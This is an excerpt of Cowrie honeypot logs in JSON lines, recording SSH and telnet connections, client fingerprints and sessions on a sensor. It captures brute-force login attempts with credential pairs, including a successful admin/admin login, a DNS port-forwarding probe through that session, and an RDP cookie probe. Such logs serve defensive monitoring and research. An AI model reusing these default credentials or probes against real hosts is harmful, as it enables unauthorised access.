{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:35.586097Z","src_ip":"36.99.46.101","session":"cd85c4bd7e5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"3st","message":"login attempt [ts3/3st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:36.548050Z","src_ip":"36.99.46.101","session":"cd85c4bd7e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ed51737b1d","protocol":"ssh","message":"New connection: 87.251.64.176:39436 (10.17.0.5:22) [session: c6ed51737b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:52.682177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:52.686930Z","src_ip":"87.251.64.176","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:52.783535Z","src_ip":"87.251.64.176","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:53.075640Z","src_ip":"87.251.64.176","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:53.228479Z","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:53.326725Z","src_ip":"87.251.64.176","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:53.425231Z","src_ip":"87.251.64.176","session":"c6ed51737b1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72999811172485,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:56.662254Z","src_ip":"64.41.88.162","session":"e35f60077ddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41362953186035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:43:57.468831Z","src_ip":"64.41.88.162","session":"49f38cc29677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.021000385284424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:00.295312Z","src_ip":"64.41.88.162","session":"0617a8d3e98a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"549e55fad3d5","protocol":"telnet","message":"New connection: 104.245.105.2:33072 (10.17.0.5:23) [session: 549e55fad3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:21.265044Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60082,"dst_ip":"10.17.0.5","dst_port":23,"session":"83968f6a2bf3","protocol":"telnet","message":"New connection: 104.245.105.2:60082 (10.17.0.5:23) [session: 83968f6a2bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:32.788653Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"af41d45d1804","protocol":"telnet","message":"New connection: 64.41.88.162:58368 (159.203.135.109:23) [session: af41d45d1804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:39.224725Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59458,"dst_ip":"159.203.135.109","dst_port":23,"session":"025b16f32729","protocol":"telnet","message":"New connection: 64.41.88.162:59458 (159.203.135.109:23) [session: 025b16f32729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:40.334826Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59830,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5a24623af9","protocol":"telnet","message":"New connection: 64.41.88.162:59830 (159.203.135.109:23) [session: fb5a24623af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:40.776901Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":44028,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a70d0f2b7f","protocol":"telnet","message":"New connection: 64.41.88.162:44028 (159.203.135.109:23) [session: 42a70d0f2b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:52.456881Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":46490,"dst_ip":"159.203.135.109","dst_port":23,"session":"de77dec933ad","protocol":"telnet","message":"New connection: 64.41.88.162:46490 (159.203.135.109:23) [session: de77dec933ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:54.384527Z"}
{"eventid":"cowrie.session.closed","duration":33.18278908729553,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:54.447731Z","src_ip":"104.245.105.2","session":"549e55fad3d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d8ae3b9d09","protocol":"telnet","message":"New connection: 64.41.88.162:51820 (159.203.135.109:23) [session: 68d8ae3b9d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:44:58.462697Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":53948,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8f1882eed3f","protocol":"telnet","message":"New connection: 64.41.88.162:53948 (159.203.135.109:23) [session: b8f1882eed3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:00.023515Z"}
{"eventid":"cowrie.session.closed","duration":35.91478896141052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:08.703316Z","src_ip":"104.245.105.2","session":"83968f6a2bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33254,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e403c5439e","protocol":"telnet","message":"New connection: 104.245.105.2:33254 (10.17.0.5:23) [session: 88e403c5439e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:15.737766Z"}
{"eventid":"cowrie.session.closed","duration":36.74570107460022,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:15.970310Z","src_ip":"64.41.88.162","session":"af41d45d1804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86772561073303,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:16.644552Z","src_ip":"64.41.88.162","session":"fb5a24623af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":54102,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d03e937bb6","protocol":"telnet","message":"New connection: 64.41.88.162:54102 (159.203.135.109:23) [session: 65d03e937bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:18.359268Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":60946,"dst_ip":"10.17.0.5","dst_port":22,"session":"218a0bfbfb68","protocol":"ssh","message":"New connection: 88.205.172.170:60946 (10.17.0.5:22) [session: 218a0bfbfb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:18.377850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:18.383166Z","src_ip":"88.205.172.170","session":"218a0bfbfb68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:18.548481Z","src_ip":"88.205.172.170","session":"218a0bfbfb68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.472545862197876,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:18.807244Z","src_ip":"64.41.88.162","session":"025b16f32729","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts3user","password":"1234","message":"login attempt [ts3user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:19.224901Z","src_ip":"88.205.172.170","session":"218a0bfbfb68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:20.391438Z","src_ip":"88.205.172.170","session":"218a0bfbfb68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57760,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dca3a7d454e","protocol":"telnet","message":"New connection: 64.41.88.162:57760 (159.203.135.109:23) [session: 3dca3a7d454e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:20.446348Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57928,"dst_ip":"159.203.135.109","dst_port":23,"session":"839eb5fd0a4e","protocol":"telnet","message":"New connection: 64.41.88.162:57928 (159.203.135.109:23) [session: 839eb5fd0a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:20.584835Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58226,"dst_ip":"159.203.135.109","dst_port":23,"session":"008b7ff7ca09","protocol":"telnet","message":"New connection: 64.41.88.162:58226 (159.203.135.109:23) [session: 008b7ff7ca09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:20.785954Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59300,"dst_ip":"159.203.135.109","dst_port":23,"session":"f28ee217f73d","protocol":"telnet","message":"New connection: 64.41.88.162:59300 (159.203.135.109:23) [session: f28ee217f73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:21.436718Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33814,"dst_ip":"159.203.135.109","dst_port":23,"session":"4493564a2c9e","protocol":"telnet","message":"New connection: 64.41.88.162:33814 (159.203.135.109:23) [session: 4493564a2c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:23.006906Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:34.146518Z","src_ip":"36.99.46.101","session":"cd85c4bd7e5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":30707,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c1966aaa3ca","protocol":"ssh","message":"New connection: 182.253.168.47:30707 (10.17.0.5:22) [session: 0c1966aaa3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:34.793361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:36.502676Z","src_ip":"182.253.168.47","session":"0c1966aaa3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:36.507470Z","src_ip":"182.253.168.47","session":"0c1966aaa3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"test","message":"login attempt [arkserver/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:38.906711Z","src_ip":"182.253.168.47","session":"0c1966aaa3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.9556884765625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:45:47.693337Z","src_ip":"104.245.105.2","session":"88e403c5439e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52272,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f2574b8fc2","protocol":"telnet","message":"New connection: 104.245.105.2:52272 (10.17.0.5:23) [session: 73f2574b8fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:05.428290Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":62642,"dst_ip":"10.17.0.5","dst_port":22,"session":"4193e7970207","protocol":"ssh","message":"New connection: 103.149.252.223:62642 (10.17.0.5:22) [session: 4193e7970207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:08.215373Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:08.220916Z","src_ip":"103.149.252.223","session":"4193e7970207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:08.225873Z","src_ip":"103.149.252.223","session":"4193e7970207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":42510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5578bdd2f47","protocol":"telnet","message":"New connection: 64.41.88.162:42510 (159.203.135.109:23) [session: d5578bdd2f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:22.211505Z"}
{"eventid":"cowrie.session.closed","duration":64.08452272415161,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:24.530780Z","src_ip":"64.41.88.162","session":"3dca3a7d454e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.9128086566925,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:25.271941Z","src_ip":"64.41.88.162","session":"65d03e937bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":44108,"dst_ip":"159.203.135.109","dst_port":23,"session":"629c77206155","protocol":"telnet","message":"New connection: 64.41.88.162:44108 (159.203.135.109:23) [session: 629c77206155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:25.537268Z"}
{"eventid":"cowrie.session.closed","duration":64.49087452888489,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:25.927481Z","src_ip":"64.41.88.162","session":"f28ee217f73d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":44670,"dst_ip":"159.203.135.109","dst_port":23,"session":"122112245b8d","protocol":"telnet","message":"New connection: 64.41.88.162:44670 (159.203.135.109:23) [session: 122112245b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:26.911042Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45036,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bca15fb7bd7","protocol":"telnet","message":"New connection: 64.41.88.162:45036 (159.203.135.109:23) [session: 7bca15fb7bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:27.557376Z"}
{"eventid":"cowrie.session.closed","duration":67.16319513320923,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:27.747906Z","src_ip":"64.41.88.162","session":"839eb5fd0a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.23396825790405,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:28.019936Z","src_ip":"64.41.88.162","session":"008b7ff7ca09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.08203148841858,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:29.538791Z","src_ip":"64.41.88.162","session":"42a70d0f2b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.54211568832397,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:46:29.548891Z","src_ip":"64.41.88.162","session":"4493564a2c9e","protocol":"telnet"}
